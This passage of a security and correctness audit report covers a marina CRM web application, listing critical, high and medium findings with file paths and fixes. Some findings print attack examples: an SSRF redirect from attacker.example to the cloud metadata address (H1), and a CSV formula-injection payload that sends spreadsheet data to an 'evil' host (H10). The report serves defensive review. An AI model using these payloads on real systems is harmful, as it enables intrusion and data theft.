'sold'`), and corrupts occupancy/inventory reporting — `mode:'auto'`, no confirmation. +**Fix:** Branch on outcome before firing — only `won` should target `sold`; `lost*\*`/`cancelled`should fire`interest_archived`/ a new`deal_lost`trigger defaulting to`available`, or gate inside `evaluateRule`on`outcome === 'won'`. **Confidence: 0.9** + +#### C3 — Residential module-disabled state is never enforced on the v1 API; only the UI is hidden + +`src/app/api/v1/residential/**/route.ts` (all 13 routes); enforcement only at `(dashboard)/[portSlug]/residential/layout.tsx:34-43` +Tenancies routes gate every handler with `assertTenanciesModuleEnabled`, but **none** of the 13 residential v1 routes call any module gate. The only enforcement is the page-tree layout, which does not wrap `/api/v1/residential/**` (those live under `app/api/`, outside `(dashboard)`). The `residential-module.service.ts:14-19` docstring claiming "direct API hits are rejected at the layout boundary" is false. An admin disables Residential (expecting it inert), yet any user with `residential_*` permissions can still `POST /residential/clients`, `PATCH /residential/interests/[id]`, run the bulk endpoint, add notes — and `createResidentialInterest` fires partner-forward emails to third parties (`residential.service.ts:341`). The public inquiry endpoint _is_ gated (`api/public/residential-inquiries/route.ts:69`), confirming the gap is unintended. +**Fix:** Add `await assertResidentialModuleEnabled(ctx.portId)` at the top of every residential v1 handler (mirror Tenancies), or a shared `withResidentialModule` wrapper; fix the docstring. **Confidence: 0.93** + +#### C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`; every tracked link in outbound mail is dead _(pass-1, confirmed)_ + +`src/proxy.ts:51` +External email recipients hitting a tracked `/q/[slug]` link are 302-redirected to `/login`, so every tracked link in outbound mail is dead for its intended (unauthenticated, external) audience. +**Fix:** Add `/q/` to `PUBLIC_PATHS`. **Confidence: high (confirmed)** + +--- + +### HIGH + +#### H1 — Webhook `fetch` follows redirects by default, bypassing the SSRF host allowlist + +`src/lib/queue/workers/webhooks.ts:224-237` +The worker validates `webhook.url` via `resolveAndCheckHost` (static + DNS re-resolution of the configured host) then calls `fetch(webhook.url, …)` with **no `redirect: 'manual'`** — Node defaults to `follow`. An admin (or attacker with a `manage_webhooks` session) configures a genuinely-public `https://attacker.example/` that passes every check; at delivery it returns `302 Location: http://169.254.169.254/...`. The redirect target is never re-validated; the worker reads up to 1KB of the response into `webhook_deliveries.response_body`, which the deliveries listing returns verbatim — a full SSRF read primitive against cloud metadata/internal services with exfiltration via the deliveries UI. The DNS-rebind defense is moot. +**Fix:** Pass `redirect: 'manual'`; treat any 3xx as a non-followed failure, or follow manually re-validating each hop's resolved IP against `resolveAndCheckHost` with a hop cap. **Confidence: 0.95** + +#### H2 — Client merge skips polymorphic ownership + payments → survivor data loss + +`src/lib/services/client-merge.service.ts:205-302` +Merge re-points only `interests, berthTenancies, clientContacts, clientAddresses, clientNotes, clientTags, clientRelationships, clientMergeCandidates`. It does **not** touch `payments`, `companyMemberships`, polymorphic `yachts` ownership, or polymorphic `invoices` billing-entity. The winner loses visibility of the loser's memberships, yachts, invoices, and payments. Sharpest for payments: merge moves `interests` to the winner but leaves `payments.clientId` on the loser, so a payment's `interestId` points at a winner-owned interest while `clientId` points at the archived loser. +**Fix:** In the merge transaction, re-point `payments.clientId`, `companyMemberships.clientId` (dedup against `unique_cm_exact`), `yachts WHERE currentOwnerType='client' AND currentOwnerId=loserId`, and `invoices WHERE billingEntityType='client' AND billingEntityId=loserId`; record each in the undo snapshot. **Confidence: 0.95** + +#### H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments + +`src/lib/db/schema/pipeline.ts:95-97` + `client-merge.service.ts:208-214` + `client-hard-delete.service.ts:313` +`payments.clientId` is `notNull onDelete:'cascade'`. After a merge, loser's `payments` retain `clientId=loserId` (per H2) but their `interestId` now belongs to the winner. Hard-deleting that stale duplicate cascades and silently destroys the survivor's financial/deposit history; `hardDeleteClient` never re-points payments. +**Fix:** Re-point payments during merge (H2); independently, hard-delete should snapshot/guard payments rather than relying on the cascade. **Confidence: 0.9** + +#### H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`) → premature "Sold" + +`src/lib/services/documents.service.ts:1682-1684` +The `documentType === 'reservation_agreement'` completion block calls `evaluateRule('contract_signed', …)` — a copy-paste from the contract block (line 1741). `reservation_signed` is not a valid `BerthRuleTrigger`, so this flips the berth to `sold` (default `contract_signed` rule) one-to-two stages early, before any deposit. +**Fix:** Fire the appropriate rule (or none) for reservation signing; do not reuse `contract_signed`. **Confidence: 0.8** + +#### H5 — Yacht archive/restore transfers ownership by writing only denormalized columns, falsifying the ownership-history ledger + +`src/lib/services/client-archive.service.ts:249-252` & `src/lib/services/client-restore.service.ts:401-404` +Both paths `update(yachts).set({ currentOwnerType, currentOwnerId })` without closing the open `yacht_ownership_history` row (`endDate IS NULL`) or opening a new one. The canonical `transferOwnership()` (`yachts.service.ts:274-295`) does both, guarded by `uniqueIndex('idx_yoh_active') WHERE endDate IS NULL`. After a smart-archive transfer the denormalized owner says Company X while history still shows the archived client as current owner with `endDate IS NULL`; the next real `transferOwnership` then closes the wrong row and the legal ownership audit trail is permanently wrong. Restore re-corrupts it identically. +**Fix:** Extract the history close+open into a `transferOwnershipTx(tx, …)` and call it from both archive and restore handlers. **Confidence: 0.8** + +#### H6 — Dashboard report queries title-case berth status that never matches the lowercase canonical → silent zeros + +`src/lib/services/dashboard-report-data.service.ts:289, 462-464` +Canonical `berths.status` is lowercase (`available | under_offer | sold`). `berths_sold_period` matches `newValue->>'status' = 'Sold'` (audit rows store lowercase) → always empty. `occupancy_timeline_chart` does `status IN ('Sold','under_offer','Under offer')` — only `under_offer` ever matches, so the timeline drops all sold berths. Leadership-facing PDF reports two key metrics as 0/understated, silently. `operational.service.ts` does this correctly throughout. +**Fix:** Change literals to lowercase `'sold'`/`'under_offer'`. **Confidence: 0.88** + +#### H7 — Residential notes feature fully broken: NotesList builds the wrong API URL + +`src/components/shared/notes-list.tsx:192-194` (consumed by `residential-client-tabs.tsx:116`, `residential-interest-tabs.tsx:59`) +`baseEndpoint = /api/v1/${entityType}/${entityId}/notes` interpolates the raw discriminator, so `entityType="residential_clients"` produces `/api/v1/residential_clients//notes`, but real routes are `/api/v1/residential/clients/[id]/notes` (slash-separated). No such underscore directory or rewrite exists → every list/create/edit/delete 404s; UI silently shows "No notes yet". The sibling `sourceLinkFor()` in the same file uses the correct slash path. +**Fix:** Map `entityType` → API path segment via a lookup table and build `baseEndpoint` from that. **Confidence: 0.95** + +#### H8 — `residentialAccess` toggle bypasses the caller-superset check (privilege escalation) + +`src/lib/services/users.service.ts:323-328` + resolver `src/lib/api/helpers.ts:208-221` +`updateUser` enforces caller-superset on role reassignment but **not** on the `residentialAccess` flag; the resolver unconditionally grants full residential CRUD when the flag is set. An admin holding only `admin.manage_users` (not `residential_*`) can PATCH any peer `{"residentialAccess": true}`, granting a permission the caller doesn't hold and can't grant via the (hardened) override PUT or role path. Defeats the caller-superset invariant. +**Fix:** In `updateUser`, when `residentialAccess === true` and not super-admin, require the caller hold `residential_clients.view` (and other residential leaves) before allowing the flag. **Confidence: 0.85** + +#### H9 — AI email-draft endpoints spend OpenAI tokens with no rate limit and no budget gate + +`src/app/api/v1/ai/email-draft/route.ts` (+ `interest-score/route.ts`, `interest-score/bulk/route.ts`) + worker `src/lib/queue/workers/ai.ts:187` (service `email-draft.service.ts`) +_(Merged within pass 3: the AI-subsystem lane and the permissions/rate-limit lane independently flagged the missing rate limit; the AI lane separately flagged the missing budget gate — both facets of the same unprotected token-spend surface.)_ `rateLimiters.ai` (60/min, `rate-limit.ts:111`) exists but `grep withRateLimit('ai'` returns zero hits; `email-draft` enqueues an OpenAI job per call gated only by `email.send` + flag and returns 202 fast (no backpressure), so a loop drains the OpenAI budget. Compounding it, `generateEmailDraft` issues a live OpenAI POST whose only budget interaction is the after-the-fact ledger write (`ai.ts:238`); `checkBudget` is imported in exactly one route (OCR `scan-receipt`) and zero AI routes, so the per-port hard cap (`ai.budget.hardCapTokens`, default 500k) is unenforceable — a rep can loop ~1,600 tokens/call regardless of cap. +**Fix:** Wrap each AI route `withRateLimit('ai', …)` (mirror `expenses/scan-receipt/route.ts:28`), AND call `checkBudget({ portId, estimatedTokens: ~1700 })` in `requestEmailDraft` before `aiQueue.add` (or at the top of `generateEmailDraft`), early-returning to the template fallback on `!budget.ok`. **Confidence: 0.9** (rate-limit) **/ 0.97** (budget gate) + +> Note: `interest-score`/`bulk` are pure SQL + Redis (no LLM call) — the rate-limit concern there is DB-amplification, not token spend. + +#### H10 — CSV formula injection in expense + audit-log exports + +`src/app/api/v1/expenses/export/csv/route.ts` + `src/lib/services/expense-export.tsx:66` + `src/app/api/v1/admin/audit/export/route.ts:95-102` +Both exporters quote-escape per RFC4180 but neither neutralizes formula triggers. A cell beginning with `=`, `+`, `-`, `@`, or leading tab/CR is emitted verbatim. Free-text fields (expense `Establishment`/`Description`; audit `userAgent`/`metadata`/`oldValue`/`newValue`) carry attacker-seeded payloads like `=HYPERLINK("http://evil/?d="&A1,"OK")`; an admin opens the export in Excel/Sheets → exfiltration or RCE on the admin's machine. papaparse has no built-in guard. +**Fix:** Shared sanitizer that prefixes a `'` (or space) when `String(v)[0]` ∈ `=+-@\t\r`, applied in `buildCsv`'s `escape` and before `Papa.unparse`. **Confidence: 0.9** + +#### H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId` + +`src/lib/services/report-render.service.ts:228-242` (enqueue `src/app/api/v1/reports/runs/route.ts:38-52`, validator `src/lib/validators/reports.ts:76`) +_(Reported by the worker-isolation lane as HIGH and by the report-correctness lane as LOW — taking the higher severity; data scope is confirmed limited to cover logo + port name.)_ The render worker reads an arbitrary `coverBrandPortId` straight from the run config and loads that port's brand kit with **no access check** (config validated only as `z.record(z.string(), z.unknown())`; `createReportRun` validates `templateId` but not config keys). Any user with `reports:export` can render another tenant's logo + port name onto a report PDF cover. All data still comes from `run.portId` (no record leak), and the deployment is single-port today — hence HIGH not CRITICAL; becomes a clean cross-tenant leak on second-port provisioning. +**Fix:** Validate `coverBrandPortId` against the requesting user's accessible ports at enqueue, or drop the override; defense-in-depth, honor it only if it equals `run.portId`. **Confidence: 0.85** + +#### H12 — Refund sign convention is inconsistent across the two summation paths; refunds can inflate reported revenue + +`src/lib/services/payments.service.ts:68` vs `src/lib/services/reports/financial.service.ts:163,263` +The validator (`payments.ts`) accepts `^-?\d+(\.\d+)?$` and `createPayment` inserts the amount verbatim — refunds may be positive or negative. Readers disagree: `getDepositTotalForInterest:68` always subtracts (`-Math.abs(n)`); `sumPaymentsInRange:163` trusts the stored sign (comment "already negative"); `getRevenueByMonth:263` drops refunds from the revenue chart entirely. If a rep enters a refund positive (what the regex permits and the natural UI input), the Financial report **adds** it — `revenueCollected` overstated by 2× the refund while `refundsIssued` still looks plausible. `getDepositPositions` filters deposits only, so a refunded deposit shows fully collected and can still trip the C1 gate. +**Fix:** Normalize refund sign at write time (`-Math.abs(amount)` when `paymentType==='refund'`), apply one convention in every reader, and make `getRevenueByMonth` subtract refunds. **Confidence: 0.85** + +#### H13 — "EOI signed" yields two different pipeline stages depending on signing channel + +`src/lib/services/documents.service.ts:992` vs `:1634` +Documenso-webhook signing advances to `reservation` (`advanceStageIfBehindGated(..., 'eoi_signed')`); manual upload (`uploadSignedManually`) advances only to `eoi` via bare `advanceStageIfBehind` — a full stage behind, and it also bypasses the per-port `stage_advance_rules` gate. Skews stage-duration/funnel reports. +**Fix:** Make both paths target `reservation` via `advanceStageIfBehindGated(..., 'eoi_signed')`. **Confidence: 0.8** + +#### H14 — Browser back/forward desyncs URL from displayed list + +`src/hooks/use-paginated-query.ts:44-56` +Page/pageSize/sort/filters seed from the URL once via `useState` initializers, then drive the URL one-way via `router.replace`. No effect resyncs `searchParams` → state, so Back/forward updates the URL but not component state (URL shows page 2, list shows page 3); refresh jumps again. +**Fix:** Derive state directly from `useSearchParams()`, or add an effect resyncing the four slices when params change. **Confidence: 0.78** + +#### H15 — Applying a saved view silently drops the saved sort + +`src/components/clients/client-list.tsx:192` (+ interests/yachts/companies/berths/residential-interests list components) + `src/hooks/use-paginated-query.ts` +`SavedViewsDropdown` passes `(view.filters, view.sortConfig)` to `onApplyView`, but every consumer ignores the second arg (`client-list` destructures `_savedSort` and discards it). `usePaginatedQuery` has no atomic "apply filters **and** sort" mutator. A saved "Overdue invoices, sorted by amount desc" restores filters but the default sort — half-applying the view. +**Fix:** Add `setViewState({ filters, sort })` (one `syncUrl` write) to `usePaginatedQuery` and thread the sort through each `onApplyView`. **Confidence: 0.9** + +#### H16 — No date-overlap / scheduling model for berth tenancies; single-slot latch with no date awareness + +`src/lib/services/berth-tenancies.service.ts` (lifecycle) + `src/lib/db/schema/tenancies.ts:80-83` +The only conflict guard is the partial unique index `idx_bt_active` on `(berth_id) WHERE status='active'`; there is no check that a new tenancy's `[startDate,endDate]` doesn't overlap an existing one. You cannot model a berth with a future-windowed tenant B while A's window has ended (reps end by status, not date), and nothing stops a `pending` row with an overlapping window from being activated the moment the prior one ends. Simultaneous-active double-booking _is_ DB-prevented, but the system has no notion of a tenancy schedule — a real correctness gap for seasonal/fixed-term marina tenancies. +**Fix:** Either document tenancies as explicitly single-slot (and reject the seasonal use case), or add `EXCLUDE USING gist (berth_id WITH =, tstzrange(start_date, coalesce(end_date,'infinity')) WITH &&) WHERE status IN ('pending','active')`. **Confidence: 0.8** + +#### H17 — No `endDate >= startDate` validation; update/renew/transfer persist inverted date ranges + +`src/lib/validators/tenancies.ts:35-67` + `src/lib/services/berth-tenancies.service.ts:362-407,541-619` +`update`/`renew`/`transfer`/`end` schemas accept raw `z.coerce.date()` with no cross-field refine. `transferTenancy` mints the successor with `startDate: data.transferDate` but `endDate: existing.endDate` (`:583-584`); transferring an over-running tenancy forward yields `endDate < startDate`. `updateTenancy:371-372` and `renewTenancy:441-442` are unchecked similarly. Inverted ranges corrupt `tenancy-reports.service.ts` occupancy/renewal math, dashboard tenure widgets, and can skew the public-berths "Under Offer/Sold" projection. +**Fix:** Add `.refine(d => !d.endDate || !d.startDate || d.endDate >= d.startDate)` to each schema; in `transferTenancy` clamp/validate `endDate` against `transferDate`. **Confidence: 0.82** + +--- + +### MEDIUM + +#### M1 — `setInterestOutcome` has no terminal-state guard; outcomes overwritable → re-fires side effects + +`src/lib/services/interests.service.ts:1358-1407` +Unlike `clearInterestOutcome`, `setInterestOutcome` never checks `existing.outcome`. A second call (won→lost, double-submit, idempotent webhook) re-runs `evaluateRule('interest_completed')` (compounding C2), folder rename, audit row, socket emit, Umami event. +**Fix:** Reject re-setting an outcome (require clearing first) and make the berth rule outcome-aware. **Confidence: 0.75** + +#### M2 — Sending a reservation_agreement fires `eoi_sent` rule + double-advances, polluting EOI milestones + +`src/lib/services/documents.service.ts:846-892` +For a reservation_agreement send, the shared block fires `evaluateRule('eoi_sent')`, advances to `eoi`, stamps `dateEoiSent`/`eoiDocStatus='sent'`, **then** the reservation branch advances to `reservation`. EOI milestone columns are written for a non-EOI document, polluting funnel data. +**Fix:** Gate the EOI-specific stamps + `eoi_sent` rule to `doc.documentType === 'eoi'`. **Confidence: 0.7** + +#### M3 — `changeInterestStage` non-transactional double-UPDATE + back-stamps milestone dates on signing-driven advances + +`src/lib/services/interests.service.ts:1140-1163` +Two non-transactional UPDATEs on the same row; milestone logic stamps `dateContractSent = now` on any move to `contract` — but the contract-signed webhook calls this right after stamping `dateContractSigned`, back-stamping `dateContractSent` to the signing instant so "sent→signed" duration reads ~0. +**Fix:** Only auto-stamp milestone dates for manual/UI moves, not signing-driven advances; fold the two UPDATEs into one. **Confidence: 0.65** + +#### M4 — Multi-berth bundles: status-advancing rules flip only the primary berth, leaving siblings stale + +`src/lib/services/berth-rules-engine.ts:89-93` +The engine targets `primaryBerth?.berthId` only. For a multi-berth EOI bundle (`is_in_eoi_bundle`), a won/deposited/contracted deal flips only the primary to `sold`; bundled siblings keep `available`/`under_offer` and stay publicly visible + pitchable. +**Fix:** For status-advancing triggers, iterate the full `interest_berths WHERE is_in_eoi_bundle = true` set under the same advisory-lock/idempotency pattern. **Confidence: 0.75** + +#### M5 — `berth_unlinked` rule mutates the wrong berth (surviving primary, not the unlinked one) + +`src/lib/services/interest-berths.service.ts:421-433` +`removeInterestBerth` deletes the junction row first, then fires `evaluateRule('berth_unlinked', …)`, which resolves its target via `getPrimaryBerth(interestId)` — the just-unlinked berth is gone, so it targets a different still-linked berth. Default mode `off` makes it dormant, but enabling auto/suggest would corrupt an unrelated berth's status. +**Fix:** Pass the specific unlinked `berthId` to `evaluateRule` (add `targetBerthIdOverride`), evaluating before the delete. **Confidence: 0.85** + +#### M6 — `unmergeClients` reversibility contract is documented but does not exist + +`src/lib/services/client-merge.service.ts:13-16,134` +The header documents a full 7-day reversibility contract and `dedup_undo_window_days` setting; the snapshot is written to `clientMergeLog.mergeDetails` — but `unmergeClients` has **zero definitions** in `src/`. Operators are told merges are reversible; they are not, and merge archives the loser + re-points children destructively. +**Fix:** Implement `unmergeClients` against the stored snapshot, or remove the reversibility claims + undo-window setting. **Confidence: 0.92** + +#### M7 — GDPR Article-15 export omits PII-bearing tables + +`src/lib/services/gdpr-bundle-builder.ts:16-37,89-194` +The bundle omits `payments` (amounts/receipts/dates), `berthWaitingList`, `supplementalFormTokens`, and `interestFieldHistory` — all carrying client PII / cascade FKs. Payments in particular are clearly Article-15 personal data. +**Fix:** Add port-scoped queries + bundle sections for these tables. **Confidence: 0.85** + +#### M8 — Bounce poller matches `document_sends` globally with no `port_id` → cross-tenant misattribution + +`src/jobs/processors/imap-bounce-poller.ts:146-156` +_(Reported by both the worker-isolation lane and the email-engine lane — merged within pass 3; email lane is the more detailed.)_ The match scopes on `recipientEmail` + 7-day window only, with no `portId` filter, against a single global env IMAP inbox. If Ports A and B both emailed `victim@x.com`, a bounce is pinned to whichever sent most recently — wrong port's `document_sends` row gets `bounceStatus`/`bounceReason`, wrong rep notified (and the bounce reason text leaks into the other tenant's notification). `originalRecipient` is parsed from attacker-controllable IMAP body, so a forged NDR can mark an arbitrary cross-port send bounced. +**Fix:** Require per-port IMAP (`getSalesImapConfig(portId)`) + `eq(documentSends.portId, portId)`, or embed a port-tagged token in the outbound Message-ID and match on `inReplyTo`/References. **Confidence: 0.85** + +#### M9 — Duplicate scheduled-report emails on BullMQ retry (no per-recipient idempotency) + +`src/lib/services/report-render.service.ts:371-380` +`emailedAt` is stamped only after the whole recipient loop (queue `maxAttempts:3`); a transient SMTP failure on recipient N re-sends to 1..N-1 on retry, and there's no top-of-function early-return on `run.emailedAt`. Recipients (possibly external) get duplicate report PDFs. +**Fix:** Early-return when `run.emailedAt` is set; track per-recipient state, or stamp `emailedAt` before the loop and log-not-throw individual send failures. **Confidence: 0.8** + +#### M10 — Socket auth never checks `userProfiles.isActive` (deactivated users keep receiving broadcasts) + +`src/lib/socket/server.ts:46-55,67-89,116-149` +The HTTP gate rejects `!isActive` with 403; the socket middleware/`userCanAccessPort`/`userCanJoinEntity` check only `isSuperAdmin` + a `userPortRoles` row. A deactivated rep's live tab (valid session cookie) keeps a socket and receives every `port:`-scoped broadcast (new clients, invoice totals + names, document-signed, payment amounts, note previews) until the cookie expires. +**Fix:** Add `if (!profile.isActive) return next(new Error('Account disabled'))` in the middleware and short-circuit the can-access helpers on `!isActive`. **Confidence: 0.9** + +#### M11 — Socket entity-room gate is membership-only, not permission-scoped (note-preview over-exposure) + +`src/app/api/v1/clients/[id]/notes/route.ts:50-55`, `interests/[id]/notes/route.ts:43-48` + `src/lib/socket/server.ts:62-89` +`userCanJoinEntity` admits any user with a `userPortRoles` row for the entity's port without consulting role permissions. A user whose role grants zero client permissions can `join:entity {type:'client'}` and receive note-content previews (`note.content.slice(0,100)`) over the socket, whereas REST `GET /clients/[id]/notes` would 403 via `withPermission('clients','view')`. +**Fix:** Thread the role permission into `userCanJoinEntity` (require `clients.view`/`interests.view`/`berths.view`). **Confidence: 0.78** + +#### M12 — Self-target guard missing on `updateUser` (admin self-deactivate / self-escalate) + +`src/lib/services/users.service.ts:205` (handler `admin/users/[id]/route.ts:20`) +`removeUserFromPort` blocks self-removal but `updateUser` has no equivalent; the PATCH handler passes `params.id` through unchecked. An admin can PATCH themselves `{"isActive": false}` (self-lockout) or `{"residentialAccess": true}` (self-escalation, compounding H8) — the override route blocks self-target for exactly this reason. +**Fix:** Reject `userId === meta.userId` for privileged fields (`isActive`, `roleId`, `residentialAccess`). **Confidence: 0.8** + +#### M13 — Bulk-mutation endpoints have no `bulk` rate limiter (DB-amplification DoS) + +`src/app/api/v1/{clients,companies,yachts,interests,berths,residential/interests}/bulk/route.ts` +`rateLimiters.bulk` (5/min) is defined but applied to zero bulk routes (`grep` → 0 hits). Each request is a large multi-row transaction; one valid session can fire unbounded bulk archive/update/transfer. The hard-delete bulk variant _is_ limited; the ordinary mutators are not. +**Fix:** Add `withRateLimit('bulk', …)` to the bulk handlers. **Confidence: 0.75** + +#### M14 — Broad `api` limiter (120/min) applied to 0 of 353 v1 routes; no edge backstop + +`src/lib/api/helpers.ts:367-391` + `src/proxy.ts` +Only `hardDeleteCode`/`exports`/`ocr` pass anything to `withRateLimit`; the edge middleware does auth-cookie + CSP only, no rate limiting. The entire authenticated v1 API has no per-request ceiling, and `checkRateLimit` fails open on Redis outage. +**Fix:** Apply `withRateLimit('api', …)` as a default in `withAuth`/a shared wrapper, with tighter named limiters layered on top. **Confidence: 0.7** + +#### M15 — `export-pdf` route renders fully client-supplied, unbounded payload synchronously (memory/timeout DoS + arbitrary branded-PDF content) + +`src/app/api/v1/reports/export-pdf/route.ts:29-60,105` +`payloadSchema` validates shape only — no `.max()` on `sections`/`rows` — then `renderToBuffer` runs inline on the request thread (gated only by `reports.view_dashboard`). A huge payload OOMs/stalls Node; content is whatever the client sent (no server re-derivation), so arbitrary text lands in a "Port Nimara"-branded PDF. The worker path caps at `REPORT_ROW_CAP=1000`; this route doesn't. +**Fix:** Add `.max()` bounds + a total-cell budget, and/or move the render to the BullMQ worker. **Confidence: 0.8** + +#### M16 — S3 `presignUpload` constrains neither content-type nor size; doc comment falsely claims content-length-range + +`src/lib/storage/s3.ts:285-292` (caller doc `pdf-upload-url/handlers.ts:1-5`) +`presignedPutObject(bucket, key, expiry)` signs only key+expiry; `opts.contentType`/size are dropped. A presigned-PUT holder can upload any bytes/type/size for 15 min. Blast radius is bounded because berth-pdf + brochure register paths re-HEAD + magic-byte-probe and delete non-`%PDF-` — but any future caller forgetting the re-check is an unvalidated-upload hole, and the object lives uncapped between upload and register. +**Fix:** Move S3 to `presignedPostPolicy` (signs content-length-range + content-type), or document loudly that every consumer MUST re-validate; correct the misleading comment now. **Confidence: 0.9** + +#### M17 — Filesystem proxy PUT enforces global 50 MB, not the advertised per-port `berth_pdf_max_upload_mb` (15 MB) + +`src/app/api/storage/[token]/route.ts:172-211` +The presign handler returns `maxBytes = getMaxUploadMb(portId)*1MB`, but the filesystem proxy PUT only checks `MAX_FILE_SIZE = 52_428_800`. A rep can upload 50 MB to a berth capped at 15 MB. Magic-byte gate still requires `%PDF-`, so not arbitrary-content; it's an advertised-vs-enforced policy mismatch. +**Fix:** Embed the per-port byte cap in the token payload at presign and enforce it in the proxy PUT. **Confidence: 0.85** + +#### M18 — Single-use storage token consumed before the file is confirmed servable → permanently bricks emailed URLs on transient first-click failure + +`src/app/api/storage/[token]/route.ts:75-102` +The GET handler burns the SET-NX replay key (TTL pinned to token expiry, up to 24h/25 days) **before** `fs.stat`. A transient `fs.stat` error, NFS hiccup, slow-stream disconnect, or any 5xx after line 75 leaves the token marked seen — every later attempt returns "Token already used" for the token's full life. These URLs are emailed to customers verbatim. Availability, not security. +**Fix:** Set the replay key only after the response is successfully committed, or `DEL` it on error/`ENOENT` paths so a genuine retry succeeds. **Confidence: 0.85** + +#### M19 — Per-conversion `toFixed(2)` rounding inside row-by-row accumulation compounds drift; inverse rates stored pre-rounded + +`src/lib/services/currency.ts:23` + `src/lib/services/reports/financial.service.ts` (all sums: `:155,384,406,441`) +`convert` rounds every conversion (`Number((amount*rate).toFixed(2))`); reports call it once per row inside accumulation loops, so each row is cents-rounded before adding — error accumulates up to ~±0.5¢×N. `refreshRates` stores inverse rates pre-rounded to 6dp, so `X→USD` and `USD→X` aren't exact reciprocals. Multi-currency `revenueCollected`/`netContribution`/`pipelineExpected` won't reconcile to bank statements. +**Fix:** Sum in source currency grouped by currency, convert each bucket once at the end, round only the final figure; store rates at full precision. **Confidence: 0.8** + +#### M20 — Public website intake inserts a primary `interest_berths` row with `isInEoiBundle:false`, violating the primary↔bundle invariant + +`src/lib/services/public-interest.service.ts:237-244` +The intake path raw-inserts `{ isPrimary:true, isSpecificInterest:true, isInEoiBundle:false }`. The canonical `upsertInterestBerthTx` forces `isInEoiBundle=true` for any primary; migration `0083` exists specifically to repair this exact drift, and there is no DB trigger/check enforcing the invariant. Every website-originated multi-berth interest gets its primary berth silently excluded from the EOI bundle, so `buildEoiContext` (`eoi-context.ts:147-152`) omits it from the multi-berth range field on the signed document until a rep re-touches the link via the service. +**Fix:** Call `upsertInterestBerthTx(tx, newInterest.id, berthId, { isPrimary:true, isSpecificInterest:true, addedBy:'public-submission' })` instead of the raw insert. **Confidence: 0.78** + +#### M21 — Webhook test send ignores `isActive` while redeliver enforces it + +`src/lib/services/webhooks.service.ts:357-397` +`redeliverWebhookDelivery:301` hard-rejects `!webhook.isActive`, but `sendTestWebhook` checks only ownership and never inspects `isActive`. An admin who disabled a webhook (e.g. because its endpoint was flagged) can still force a live signed POST via the test button — the most convenient trigger for the H1 redirect SSRF since the admin controls timing and event type. +**Fix:** Mirror redeliver — reject test sends to inactive webhooks, or document the bypass deliberately. **Confidence: 0.82** + +#### M22 — Dead-letter alert fans out to all super-admins across all ports, leaking the failing webhook's name cross-tenant + +`src/lib/queue/workers/webhooks.ts:312-331` +The super-admin query has no `portId` filter, so a delivery failure on Port A notifies every super-admin of every tenant with a `description` embedding admin-controlled `webhook.name` (max 200 chars) and a `/admin/webhooks/{id}` link — a cross-tenant info leak plus a minor injection vector into other tenants' notification feeds. The notification row's `portId` is the originating port, so it may surface under the wrong port context. +**Fix:** Scope the super-admin lookup to `portId`, or route to an explicitly cross-tenant ops channel. **Confidence: 0.78** + +#### M23 — Invoice totals computed in JS float and persisted via `String(...)` into unbounded `numeric`; `0%` discount coerced to default 2% + +`src/lib/services/invoices.ts:250,270,273,322-327,350` (cols: `src/lib/db/schema/financial.ts:109-114`) +`subtotal`/`discountAmount`/`total`/line-item `total` are float-computed and written with `String(...)` into `numeric` columns that have no precision/scale, persisting values like `"0.30000000000000004"` and `24.690999999999999`. Separately, `discountPct = Number(setting.value) || 2` (`:264`) coerces a legitimately-configured `0%` net10 discount to 2%. Blast radius capped today (invoices module default-disabled, zero dev rows), but any port that enables it bills clients these values. +**Fix:** Round each money output to 2dp before `String(...)`; give the columns explicit `(12,2)`; use `setting.value ?? 2` so a configured 0% is honored. **Confidence: 0.85** + +#### M24 — Public file gate keys off user-settable `category`; any authed user can make own-port files publicly streamable _(pass-1, confirmed)_ + +`src/app/api/public/files/[id]/route.ts:26` + `src/lib/validators/files.ts:11,18` + `src/lib/services/files.ts:186` +`category` is a free string with no allow-list, so a user can self-set `category=branding` to make their own-port file publicly streamable + CDN-cached 24h. No cross-tenant theft (ids are UUIDv4). +**Fix:** Reserve `branding` (server-controlled) or add an explicit `is_public` column. **Confidence: high (confirmed)** + +#### M25 — Dry-run preview lies about intra-file duplicate clients; no DB unique backstop on client-contact email + +`src/lib/import/classify.ts:91-108` vs `src/lib/import/commit.ts:81-118` (index: `src/lib/db/schema/clients.ts:104-109`) +`classifyRows` never writes, so two file rows with the same brand-new email both classify `insert`; on commit the interleaved classify-then-insert ordering turns row 2 into a `skip`. For companies/berths a real unique index makes this a clean row-error, but `clientContacts` email/phone indexes are **plain `index(...)`, not unique** — the only thing preventing duplicate clients is the sequential ordering. Any future batching/parallelizing/pre-classifying the commit silently creates duplicate clients with no DB guard. (Note: the import engine is currently only wired into the BullMQ worker; no API route enqueues it yet, so this is latent until the UI lands.) +**Fix:** Add a partial unique index on `client_contacts(port, lower(value)) WHERE channel='email'`; have `classifyRows` track in-file match keys so preview reflects commit. **Confidence: 0.85** + +#### M26 — Import undo only reverses inserts; `update-matches` mutations are irreversible + +`src/lib/import/commit.ts:139-187` +`undoBatch` filters `action='inserted'` (`:162`), so an `update-matches` run that overwrote 500 companies' `taxId`/`billingEmail` or 500 berths' `price`/`dimensions` cannot be rolled back — the ledger stores only the entity id, not the pre-image; undo reports `deleted:0` and leaves every mutation. Separately, client undo `db.delete(clients)` relies on FK violations to block deletes but can't distinguish dependents the import created from those a user added later, and gives the operator no reason a row blocked beyond a row number. +**Fix:** Capture a JSON pre-image in `import_batch_rows` for updated rows and support update-undo; document `update-matches` as destructive-without-rollback until then; carry the blocking FK/table in blocked-row reporting. **Confidence: 0.8** + +#### M27 — No idempotency/status guard on import commit; a re-enqueued batch re-imports and duplicates the row ledger + +`src/lib/import/commit.ts:76-79` + `src/lib/queue/workers/import.ts:34-52` +`commitBatch` unconditionally sets `status:'committing'` and re-processes every row; the worker never checks `batch.status`. `maxAttempts:1` blocks BullMQ auto-retry, but a future commit endpoint or operator re-trigger re-runs the whole file — appending a second full set of `import_batch_rows` so undo later sees both run-1 inserts and run-2 skips and header counts no longer reconcile with the ledger undo trusts. +**Fix:** Early-return in the worker when `batch.status` is not in `{dry_run, uploaded}`; gate the transition with `UPDATE … WHERE status IN (…)` and bail on 0 rows. **Confidence: 0.8** + +#### M28 — Inconsistent residential pipeline-stage validation: bulk rejects custom stages, per-row PATCH accepts arbitrary garbage + +`src/app/api/v1/residential/interests/bulk/route.ts:22-27` vs `src/lib/validators/residential.ts:73-83` + 